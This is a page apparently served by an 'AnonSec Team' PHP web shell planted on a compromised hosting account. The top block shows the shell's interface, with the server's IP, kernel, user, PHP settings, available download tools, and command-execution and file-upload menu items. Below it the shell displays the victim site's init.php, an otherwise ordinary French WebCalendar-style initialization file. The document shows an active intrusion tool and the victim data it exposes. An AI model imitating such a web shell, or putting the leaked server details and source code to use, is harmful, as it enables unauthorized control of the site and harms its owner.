AnonSec Team
Server IP : 10.128.40.6  /  Your IP : 216.73.216.233
Web Server : Apache
System : Linux webd006.cluster128.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : logmcpe ( 111175)
PHP Version : 7.3.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0705) :  /home/logmcpe/www/MCPRO/includes/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/logmcpe/www/MCPRO/includes/init.php
<?php
/**
 * Does various initialization tasks and includes all needed files.
 *
 * This page is included by most WebCalendar pages as the only include file.
 * This greatly simplifies the other PHP pages since they don't need to worry
 * about what files it includes.
 *
 * <b>Comments:</b>
 * The following scripts do not use this file:
 * - login.php
 * - week_ssi.php
 * - upcoming.php
 * - tools/send_reminders.php
 *
 * How to use:
 * 1. call include_once 'code/init.php'; at the top of your script.
 * 2. call any other functions or includes not in this file that you need
 * 3. call the print_header function with proper arguments
 *
 * What gets called:
 *
 * - include_once 'includes/config.php';
 * - include_once 'includes/php-dbi.php';
 * - include_once 'includes/functions.php';
 * - include_once 'includes/connect.php';
 */

// Security Check
//setlocale(LC_ALL,'fr_FR');
/* we will do our own error handling. */
//error_reporting(0); // Turns off all error reporting.


if (empty ($PHP_SELF) && !empty ($_SERVER) && !empty ($_SERVER['PHP_SELF'])) {
	$PHP_SELF = $_SERVER['PHP_SELF'];
}
if (!empty ($PHP_SELF) && preg_match ("@/includes/@", $PHP_SELF)) {
	die ("You can't access this file directly!");
}

// Make sure another app in the same domain doesn't have a 'user' cookie
//if (empty ($HTTP_GET_VARS)) $HTTP_GET_VARS = $_GET;
//if (empty ($HTTP_POST_VARS)) $HTTP_POST_VARS = $_POST;

include_once 'includes/config.php';
include_once 'includes/php-dbi.php';
include_once 'includes/functions.php';
include_once 'includes/connect.php';
if ($agence==20||$agence==26) include_once 'includes/cron.php';
//if ($agence==20||$agence==26) include('code/suivi/fonctions.php');
include('code/suivi/fonctions.php');
//if ($agence==20||$agence==26) include('code/date.php');
include('code/date.php');

//setlocale(LC_TIME, "fra_fra");
//setlocale(LC_TIME, array('fr_fr', 'fr_FR', 'fr', 'FR'));

	if (ereg("WIN", PHP_OS)) setlocale (LC_TIME, "french");
	else if (ereg("BSD", PHP_OS)) setlocale (LC_TIME, "fr_FR.ISO8859-1");
	else setlocale (LC_TIME, "fr_FR");


header ("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
header ("Last-Modified: ".gmdate ("D, d M Y H:i:s")." GMT");
header ("Cache-Control: no-store, no-cache, must-revalidate");
header ("Cache-Control: post-check=0, pre-check=0", false);
header ("Pragma: no-cache");

/**
 * Prints the HTML header and opening HTML body tag.
 *
 * @param array	$includes		 Array of additional files to include referenced
 *														 from the includes directory
 * @param string $HeadX				Data to be printed inside the head tag (meta,
 *														 script, etc)
 * @param string $BodyX				Data to be printed inside the Body tag (onload
 *														 for example)
 * @param bool	 $disbleCustom Do not include custom header? (useful for small
 *														 popup windows, such as color selection)
 * @param bool	 $disableStyle Do not include the standard css?
 */
function print_header($includes = '', $HeadX = '', $BodyX = '') {
	$lang = 'fr';

 // Start the header & specify the charset
 // The charset is defined in the translation file
	/*echo "<?xml version=\"1.0\" encoding=\"iso-8859-1\"?>\n" .*/
	echo "<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" " .
		"<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" " .
		"\"DTD/xhtml1-transitional.dtd\">\n" .
		"<html xmlns=\"http://www.w3.org/1999/xhtml\" " .
		"xml:lang=\"en\" lang=\"en\">\n" .
		"<head>\n" .
		"<title>M&eacute;nage &amp; Cie</title>\n";

	// Any other includes?
	if (is_array ($includes)) {
		foreach($includes as $inc){
			include_once 'includes/'.$inc;
		}
	}

	// Do we need anything else inside the header tag?
	if ($HeadX) echo $HeadX."\n";

	// Include the styles
	include_once 'includes/styles_mc.php';

	// Include includes/print_styles.css as a media="print" stylesheet. When the
	// user clicks on the "Printer Friendly" link, $friendly will be non-empty,
	// including this as a normal stylesheet so they can see how it will look 
	// when printed. This maintains backwards-compatibility for browsers that 
	// don't support media="print" stylesheets
	echo "<link rel=\"stylesheet\" type=\"text/css\" href=\"includes/listing.css\" />\n";
	echo "<link rel=\"stylesheet\" type=\"text/css\" href=\"includes/onglets.css\" />\n";

	// Link to favicon
	echo "<link rel=\"shortcut icon\" href=\"favicon.ico\" type=\"image/x-icon\" />\n";
	echo "<script language=\"javascript\" type=\"text/javascript\">

function choixDate (form, prefix) {
	jour = eval('form.'+prefix+'day.value');
	mois = eval('form.'+prefix+'month.value');
	annee = eval('form.'+prefix+'year.value');
	if(parseInt(jour) < 10)
		jour = '0'+jour ;
	if(parseInt(mois) < 10)
		mois = '0'+mois ;
	win = open('datesel.php?prefix='+prefix+'&mois='+mois+'&annee='+annee+'&sel='+annee+mois+jour, 'choixDate', 'height=180,width=400,directories=no,location=no,scrollbars=no,toolbar=no') ;
	window.caller = form;
	win.focus();
}

</script>";

	// Finish the header
	echo "</head>\n<body";

	// Add any extra parts to the <body> tag
	if (!empty($BodyX))
		echo " $BodyX";
	echo ">\n";
}

function etranslate ($string)  {
return $string;
}

/**
 * Generate HTML for a date selection for use in a form.
 *
 * @param string $prefix Prefix to use in front of form element names
 * @param int    $date   Currently selected date (in YYYYMMDD format)
 *
 * @return string HTML for the selection box
 */
function date_selection_html ($prefix, $date, $num_years_from='-5', $num_years_to='10', $form) {
	$ret = "";
	//$num_years = 20;
	$num_years = $num_years_to;
	if (strlen ($date) != 8)
		$date = date ("Ymd");
	$thisyear = $year = substr ($date, 0, 4);
	$thismonth = $month = substr ($date, 4, 2);
	$thisday = $day = substr ($date, 6, 2);
	if ($thisyear - date ("Y") >= ($num_years - 1))
		$num_years = $thisyear - date ("Y") + 2;
	$ret .= "<select name=\"".$prefix."day\">\n";
	for ($i = 1 ; $i <= 31 ; $i++)
		$ret .= "<option value=\"$i\"".($i == $thisday ? " selected=\"selected\" style=\"font-weight:bold\"" : "").">$i</option>\n";
	$ret .= "</select>\n<select name=\"".$prefix."month\">\n";
	for ($i = 1 ; $i <= 12 ; $i++) {
		$m = month_short_name ($i - 1);
		$ret .= "<option value=\"$i\"".($i == $thismonth ? " selected=\"selected\" style=\"font-weight:bold\"" : "").">$m</option>\n";
	}
	$ret .= "</select>\n<select name=\"".$prefix."year\">\n";
	for ($i = $num_years_from ; $i < $num_years_to ; $i++) {
		$y = $thisyear + $i;
		$ret .= "<option value=\"$y\"".($y == $thisyear ? " selected=\"selected\" style=\"font-weight:bold\"" : "").">$y</option>\n";
	}
	$ret .= "</select>\n";
	$ret .= "<input type=\"button\" name=\"{$prefix}button\" onclick=\"choixDate(this.form, '$prefix')\" value=\"S&eacute;lectionner ...\" />\n";
	
	return $ret;
}

$month = date('m');
$route_month = $month;
$fact_month = $month;
$year = date('Y');
$fact_year = $year;
$route_year = $year;
$last_year = $year - 1;

if ($month == 01) { $fact_month = 12 ; $fact_year = $year - 1; }
//else { $fact_month = sprintf("%02d", $fact_month-1); }
$fact_timestamp = mktime(0, 0, 0, $fact_month, 1, $fact_year);
if ($month == 12) { $route_month = 1 ; $route_year = $year + 1; }
$route_timestamp = mktime(0, 0, 0, $route_month, 1, $route_year);
$fact_du = date ($fact_year.$fact_month.'01',$fact_timestamp);
$fact_au = date ($fact_year.$fact_month.date('t', $fact_timestamp),$fact_timestamp);
$att_du = $last_year.'01'.'01';
$att_au = $last_year.'12'.'31';
$route_du = date ($route_year.$route_month.'01',$route_timestamp);
$route_au = date ($route_year.$route_month.date('t', $route_timestamp),$route_timestamp);


$nuked['prefix']='z';
include('forum/Includes/constants.php');
?>

AnonSec - 2021